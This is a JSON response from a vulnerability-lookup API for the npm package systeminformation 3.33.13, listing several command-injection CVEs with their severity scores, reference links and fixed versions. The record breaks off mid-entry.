Lookup for vulnerable packages by Package URL.

GET /api/packages/276201?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/276201?format=api",
    "purl": "pkg:npm/systeminformation@3.33.13",
    "type": "npm",
    "namespace": "",
    "name": "systeminformation",
    "version": "3.33.13",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "5.31.0",
    "latest_non_vulnerable_version": "5.31.6",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/53895?format=api",
            "vulnerability_id": "VCID-297u-ugtg-bkdd",
            "summary": "OS Command Injection\nsysteminformation suffers from a command injection vulnerability.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-26274",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.01389",
                            "scoring_system": "epss",
                            "scoring_elements": "0.80708",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.01389",
                            "scoring_system": "epss",
                            "scoring_elements": "0.80682",
                            "published_at": "2026-06-04T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-26274"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/1faadcbf68f1b1fdd5eb2054f68fc932be32ac99",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/1faadcbf68f1b1fdd5eb2054f68fc932be32ac99"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-m57p-p67h-mq74",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-m57p-p67h-mq74"
                },
                {
                    "reference_url": "https://www.npmjs.com/advisories/1590",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://www.npmjs.com/advisories/1590"
                },
                {
                    "reference_url": "https://www.npmjs.com/package/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://www.npmjs.com/package/systeminformation"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26274",
                    "reference_id": "CVE-2020-26274",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26274"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/79366?format=api",
                    "purl": "pkg:npm/systeminformation@4.31.1",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2rnv-d3tb-hug9"
                        },
                        {
                            "vulnerability": "VCID-99un-1enx-5uhv"
                        },
                        {
                            "vulnerability": "VCID-fen5-17u8-efbs"
                        },
                        {
                            "vulnerability": "VCID-kg9c-n3a4-9uh1"
                        },
                        {
                            "vulnerability": "VCID-us5p-3w2r-13e6"
                        },
                        {
                            "vulnerability": "VCID-wd8e-yyex-vqff"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.31.1"
                }
            ],
            "aliases": [
                "CVE-2020-26274",
                "GHSA-m57p-p67h-mq74"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-297u-ugtg-bkdd"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50225?format=api",
            "vulnerability_id": "VCID-2rnv-d3tb-hug9",
            "summary": "Systeminformation has a Command Injection via unsanitized interface parameter in wifi.js retry path\nA command injection vulnerability in the `wifiNetworks()` function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path.",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26280.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26280.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26280",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0003",
                            "scoring_system": "epss",
                            "scoring_elements": "0.09016",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26280"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/22242aa56188f2bffcbd7d265a11e1ebb808b460",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-19T20:57:36Z/"
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/22242aa56188f2bffcbd7d265a11e1ebb808b460"
                },
                {
                    "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441121",
                    "reference_id": "2441121",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441121"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26280",
                    "reference_id": "CVE-2026-26280",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26280"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-9c88-49p5-5ggf",
                    "reference_id": "GHSA-9c88-49p5-5ggf",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-9c88-49p5-5ggf"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-9c88-49p5-5ggf",
                    "reference_id": "GHSA-9c88-49p5-5ggf",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-19T20:57:36Z/"
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-9c88-49p5-5ggf"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/74120?format=api",
                    "purl": "pkg:npm/systeminformation@5.30.8",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-kg9c-n3a4-9uh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.30.8"
                }
            ],
            "aliases": [
                "CVE-2026-26280",
                "GHSA-9c88-49p5-5ggf"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-2rnv-d3tb-hug9"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/53836?format=api",
            "vulnerability_id": "VCID-6t9m-cpgx-z3hb",
            "summary": "OS Command Injection\nnpm package systeminformation is vulnerable to Prototype Pollution leading to Command Injection.If you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to `si.inetChecksite().`",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-26245",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0113",
                            "scoring_system": "epss",
                            "scoring_elements": "0.78661",
                            "published_at": "2026-06-04T12:55:00Z"
                        },
                        {
                            "value": "0.0113",
                            "scoring_system": "epss",
                            "scoring_elements": "0.78688",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-26245"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/8113ff0e87b2f422a5756c48f1057575e73af016",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/8113ff0e87b2f422a5756c48f1057575e73af016"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4v2w-h9jm-mqjg",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4v2w-h9jm-mqjg"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26245",
                    "reference_id": "CVE-2020-26245",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26245"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/79231?format=api",
                    "purl": "pkg:npm/systeminformation@4.30.5",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-297u-ugtg-bkdd"
                        },
                        {
                            "vulnerability": "VCID-2rnv-d3tb-hug9"
                        },
                        {
                            "vulnerability": "VCID-99un-1enx-5uhv"
                        },
                        {
                            "vulnerability": "VCID-fen5-17u8-efbs"
                        },
                        {
                            "vulnerability": "VCID-kg9c-n3a4-9uh1"
                        },
                        {
                            "vulnerability": "VCID-us5p-3w2r-13e6"
                        },
                        {
                            "vulnerability": "VCID-wd8e-yyex-vqff"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.30.5"
                }
            ],
            "aliases": [
                "CVE-2020-26245",
                "GHSA-4v2w-h9jm-mqjg"
            ],
            "risk_score": 3.6,
            "exploitability": "0.5",
            "weighted_severity": "7.3",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-6t9m-cpgx-z3hb"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/56379?format=api",
            "vulnerability_id": "VCID-99un-1enx-5uhv",
            "summary": "Systeminformation has command injection vulnerability in getWindowsIEEE8021x (SSID)\nThe SSID is not sanitized when before it is passed as a parameter to cmd.exe in the `getWindowsIEEE8021x` function. This means that malicious content in the SSID can be executed as OS commands.",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-56334.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.0",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-56334.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2024-56334",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.04955",
                            "scoring_system": "epss",
                            "scoring_elements": "0.8985",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2024-56334"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/f7af0a67b78e7894335a6cad510566a25e06ae41",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2024-12-24T16:32:16Z/"
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/f7af0a67b78e7894335a6cad510566a25e06ae41"
                },
                {
                    "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2333587",
                    "reference_id": "2333587",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2333587"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56334",
                    "reference_id": "CVE-2024-56334",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56334"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-cvv5-9h9w-qp2m",
                    "reference_id": "GHSA-cvv5-9h9w-qp2m",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://github.com/advisories/GHSA-cvv5-9h9w-qp2m"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-cvv5-9h9w-qp2m",
                    "reference_id": "GHSA-cvv5-9h9w-qp2m",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2024-12-24T16:32:16Z/"
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-cvv5-9h9w-qp2m"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:3374",
                    "reference_id": "RHSA-2025:3374",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:3374"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/83606?format=api",
                    "purl": "pkg:npm/systeminformation@5.23.7",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.23.7"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/791994?format=api",
                    "purl": "pkg:npm/systeminformation@5.23.8",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2rnv-d3tb-hug9"
                        },
                        {
                            "vulnerability": "VCID-kg9c-n3a4-9uh1"
                        },
                        {
                            "vulnerability": "VCID-wd8e-yyex-vqff"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.23.8"
                }
            ],
            "aliases": [
                "CVE-2024-56334",
                "GHSA-cvv5-9h9w-qp2m"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-99un-1enx-5uhv"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/53834?format=api",
            "vulnerability_id": "VCID-axru-z7ku-nyh8",
            "summary": "OS Command Injection\nThis affects the package systeminformation The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-7778",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.01103",
                            "scoring_system": "epss",
                            "scoring_elements": "0.78413",
                            "published_at": "2026-06-04T12:55:00Z"
                        },
                        {
                            "value": "0.01103",
                            "scoring_system": "epss",
                            "scoring_elements": "0.78441",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-7778"
                },
                {
                    "reference_url": "https://gist.github.com/EffectRenan/b434438938eed0b21b376cedf5c81e80",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://gist.github.com/EffectRenan/b434438938eed0b21b376cedf5c81e80"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/11103a447ab9550c25f1fbec7e6d903720b3fea8%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/11103a447ab9550c25f1fbec7e6d903720b3fea8%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/73dce8d717ca9c3b7b0d0688254b8213b957f0fa%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/73dce8d717ca9c3b7b0d0688254b8213b957f0fa%23diff-970ae648187190f86bafc8f193b7538200eba164fad0674428b6487582c089cc"
                },
                {
                    "reference_url": "https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1043753",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1043753"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7778",
                    "reference_id": "CVE-2020-7778",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7778"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-8j36-q8x7-pm6q",
                    "reference_id": "GHSA-8j36-q8x7-pm6q",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-8j36-q8x7-pm6q"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/79226?format=api",
                    "purl": "pkg:npm/systeminformation@4.30.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-297u-ugtg-bkdd"
                        },
                        {
                            "vulnerability": "VCID-2rnv-d3tb-hug9"
                        },
                        {
                            "vulnerability": "VCID-6t9m-cpgx-z3hb"
                        },
                        {
                            "vulnerability": "VCID-99un-1enx-5uhv"
                        },
                        {
                            "vulnerability": "VCID-fen5-17u8-efbs"
                        },
                        {
                            "vulnerability": "VCID-kg9c-n3a4-9uh1"
                        },
                        {
                            "vulnerability": "VCID-us5p-3w2r-13e6"
                        },
                        {
                            "vulnerability": "VCID-wd8e-yyex-vqff"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.30.2"
                }
            ],
            "aliases": [
                "CVE-2020-7778",
                "GHSA-8j36-q8x7-pm6q"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-axru-z7ku-nyh8"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/53733?format=api",
            "vulnerability_id": "VCID-c47r-q1dv-8qg7",
            "summary": "The systeminformation package is vulnerable to Command Injection. An attacker can concatenate the curl command's parameters to overwrite Javascript files and then execute any OS commands.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-7752",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.03143",
                            "scoring_system": "epss",
                            "scoring_elements": "0.87149",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.03143",
                            "scoring_system": "epss",
                            "scoring_elements": "0.87127",
                            "published_at": "2026-06-04T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-7752"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/931fecaec2c1a7dcc10457bb8cd552d08089da61",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/931fecaec2c1a7dcc10457bb8cd552d08089da61"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-94xh-2fmc-xf5j",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-94xh-2fmc-xf5j"
                },
                {
                    "reference_url": "https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1021909",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1021909"
                },
                {
                    "reference_url": "https://www.npmjs.com/package/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
